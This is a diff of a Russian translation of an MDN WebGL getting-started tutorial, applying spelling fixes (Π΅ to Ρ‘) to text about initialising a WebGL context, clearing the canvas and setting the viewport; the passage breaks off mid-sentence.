-<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с основами использования WebGL. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с матСматичСскими основами Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ ΠΎΠ±ΡƒΡ‡ΠΈΡ‚ вас OpenGL.</p>
+<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с основами использования WebGL. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с матСматичСскими основами Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Данная ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ ΠΎΠ±ΡƒΡ‡ΠΈΡ‚ вас OpenGL.</p>
<h2 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_ΠΊ_Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ_Π²_3D">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° ΠΊ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² 3D</h2>
@@ -24,7 +24,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_контСкста_WebGL">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° контСкста WebGL</h3>
-<p>Ѐункция <code>start()</code>, Π² нашСм JavaScript ΠΊΠΎΠ΄Π΅ вызываСтся послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π•Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ - настройка контСкста WebGL ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ отрисовку содСрТимого.</p>
+<p>Ѐункция <code>start()</code>, Π² нашСм JavaScript ΠΊΠΎΠ΄Π΅ вызываСтся послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π•Ρ‘ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ - настройка контСкста WebGL ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ отрисовку содСрТимого.</p>
<pre class="brush: js">var gl; // глобальная пСрСмСнная для контСкста WebGL
@@ -36,7 +36,7 @@ function start() {
// ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли WebGL доступСн ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚
if (gl) {
- gl.clearColor(0.0, 0.0, 0.0, 1.0); // ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС Ρ†Π²Π΅Ρ‚Π° очистки Π±ΡƒΡ„Π΅Ρ€Π° Ρ†Π²Π΅Ρ‚Π° Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ, полная Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ
+ gl.clearColor(0.0, 0.0, 0.0, 1.0); // ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π² качСствС Ρ†Π²Π΅Ρ‚Π° очистки Π±ΡƒΡ„Π΅Ρ€Π° Ρ†Π²Π΅Ρ‚Π° Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ, полная Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ
gl.enable(gl.DEPTH_TEST); // Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ использованиС Π±ΡƒΡ„Π΅Ρ€Π° Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹
gl.depthFunc(gl.LEQUAL); // опрСдСляСт Ρ€Π°Π±ΠΎΡ‚Ρƒ Π±ΡƒΡ„Π΅Ρ€Π° Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹: Π±ΠΎΠ»Π΅Π΅ Π±Π»ΠΈΠΆΠ½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ дальниС
gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT); // ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€ Ρ†Π²Π΅Ρ‚Π° ΠΈ Π±ΡƒΡ„Π΅Ρ€ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹.
@@ -44,13 +44,13 @@ function start() {
}
</pre>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ здСсь Π΄Π΅Π»Π°Π΅ΠΌ - ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ссылку Π½Π° элСмСнт canvas, ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π΅Π΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>canvas</code>. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ссли Π²Π°ΠΌ Π½Π΅ трСбуСтся ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ссылку Π½Π° canvas, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ сохранСния этого значСния глобально, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π΅ Π² локальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π² ΠΏΠΎΠ»Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ здСсь Π΄Π΅Π»Π°Π΅ΠΌ - ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ссылку Π½Π° элСмСнт canvas, ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ Π΅Ρ‘ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>canvas</code>. ΠžΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, Ρ‡Ρ‚ΠΎ Ссли Π²Π°ΠΌ Π½Π΅ трСбуСтся ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ссылку Π½Π° canvas, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ сохранСния этого значСния глобально, Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘ Π² локальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈΠ»ΠΈ Π² ΠΏΠΎΠ»Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ссылку Π½Π° canvas, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initWebGL()</code>; Π­Ρ‚Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΌΡ‹ опрСдСляСм Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π΅Π΅ Ρ€Π°Π±ΠΎΡ‚Π° - ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст WebGL.</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ ссылку Π½Π° canvas, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initWebGL()</code>; Π­Ρ‚Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΌΡ‹ опрСдСляСм Π½Π΅Π·Π°ΠΌΠ΅Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Π΅Ρ‘ Ρ€Π°Π±ΠΎΡ‚Π° - ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст WebGL.</p>
-<p>Если контСкст ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½, Π² <code>gl</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ ссылка Π½Π° Π½Π΅Π³ΠΎ. Π’ этом случаС, ΠΌΡ‹ устанавливаСм Ρ†Π²Π΅Ρ‚ очистки Π±ΡƒΡ„Π΅Ρ€Π° Ρ†Π²Π΅Ρ‚Π° (Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°) Π½Π° Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ контСкст этим Ρ†Π²Π΅Ρ‚ΠΎΠΌ. ПослС этого, контСкст конфигурируСтся ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ настройки. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹ ΠΈ опрСдСляСм, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ дальниС.</p>
+<p>Если контСкст ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½, Π² <code>gl</code> Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ ссылка Π½Π° Π½Π΅Π³ΠΎ. Π’ этом случаС, ΠΌΡ‹ устанавливаСм Ρ†Π²Π΅Ρ‚ очистки Π±ΡƒΡ„Π΅Ρ€Π° Ρ†Π²Π΅Ρ‚Π° (Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°) Π½Π° Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ, Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‡ΠΈΡ‰Π°Π΅ΠΌ контСкст этим Ρ†Π²Π΅Ρ‚ΠΎΠΌ. ПослС этого, контСкст конфигурируСтся ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ настройки. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ Π±ΡƒΡ„Π΅Ρ€ Π³Π»ΡƒΠ±ΠΈΠ½Ρ‹ ΠΈ опрСдСляСм, Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ Π±Π»ΠΈΠ·ΠΊΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ дальниС.</p>
-<p>Всё Π²Ρ‹ΡˆΠ΅ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½Π½ΠΎΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π§ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>Всё Π²Ρ‹ΡˆΠ΅ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»Π΅Π½Π½ΠΎΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π§ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_контСкста_WebGL">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ контСкста WebGL</h3>
@@ -80,19 +80,19 @@ function start() {
<div class="note"><strong>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅:</strong> ΠšΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚, ΠΈΠΌΠ΅Π½ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΊΠ°ΠΊ "experimental-webgl" - это Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ имя для контСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ΅ Π½Π° врСмя процСсса Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ спСцификации. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ спСцификация Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ имя контСкста "webgl".</div>
-<p>На Π΄Π°Π½Π½ΠΎΠΌ этапС этого ΠΊΠΎΠ΄Π° достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст WebGL, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ пустой Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ, Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊ заполнСнию ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ.</p>
+<p>На Π΄Π°Π½Π½ΠΎΠΌ этапС этого ΠΊΠΎΠ΄Π° достаточно, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ контСкст WebGL, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ пустой Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ, Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΊ заполнСнию ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ.</p>
-<p>Если ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ WebGL, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π°, Ρ‰Π΅Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылкС</a>.</p>
+<p>Если ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ WebGL, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π°, Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылкС</a>.</p>
<h3 id="ИзмСнСниС_Ρ€Π°Π·ΠΌΠ΅Ρ€Π°_контСкста_WebGL">ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° контСкста WebGL</h3>
-<p>Новый контСкст WebGL Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ задания Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² области отобраТСния Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ получСния контСкста ΠΏΡƒΡ‚Π΅ΠΌ задания высоты ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ элСмСнта canvas, Π±Π΅Π· использования CSS. Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ стиля элСмСнта canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π±Π΅Π· измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² области отрисовки. Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты элСмСнта canvas послС создания контСкста Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ число пиксСлСй для отрисовки. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ области отрисовки, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ WebGL ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π° Π½Π° вСсь экран ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ настройки Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² самом ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WebGL <code>viewport()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ измСнСния.</p>
+<p>Новый контСкст WebGL Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ задания Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² области отобраТСния Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ получСния контСкста ΠΏΡƒΡ‚Ρ‘ΠΌ задания высоты ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ элСмСнта canvas, Π±Π΅Π· использования CSS. Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ стиля элСмСнта canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π±Π΅Π· измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² области отрисовки. Π Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты элСмСнта canvas послС создания контСкста Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ число пиксСлСй для отрисовки. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ области отрисовки, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ WebGL ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠΊΠ½Π° Π½Π° вСсь экран ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΌΠ΅Π½ΡΡ‚ΡŒ настройки Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² самом ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΊΡΡ‚Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ WebGL <code>viewport()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ измСнСния.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ области отрисовки контСкста WebGL с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ <code>gl</code> ΠΈ <code>canvas</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΠΈΡΡ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅:</p>
<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π² случаС, Ссли Π΅Π³ΠΎ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ области отрисовки, Ρ‡Π΅ΠΌ Ρ‚Π΅, Ρ‡Ρ‚ΠΎ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ Π² Π΅Π³ΠΎ стилях CSS, согласно ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ мСсто Π½Π° экранС. ИзмСнСниС Ρ€Π°Π·ΠΌΠ΅Ρ€Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ 